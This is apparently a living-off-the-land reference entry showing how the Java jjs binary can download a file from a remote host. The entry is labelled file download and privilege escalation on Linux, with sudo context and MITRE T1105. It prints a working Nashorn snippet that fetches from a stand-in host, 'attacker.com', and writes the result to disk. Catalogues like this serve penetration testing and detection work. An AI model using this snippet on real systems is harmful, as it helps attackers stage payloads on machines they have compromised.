download
File DownloadPrivilege EscalationLinux
jjs
var URL = Java.type('java.net.URL');
var ws = new URL('http://attacker.com/path/to/input-file');
var Channels = Java.type('java.nio.channels.Channels');
var rbc = Channels.newChannel(ws.openStream());
var FileOutputStream = Java.type('java.io.FileOutputStream');
var fos = new FileOutputStream('/path/to/output-file');
fos.getChannel().transferFrom(rbc, 0, Number.MAX_VALUE);
fos.close();
rbc.close();- Evidence
- Upstream reference
- Environment
- Local host
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- sudo
- Native
- download
- MITRE
- T1105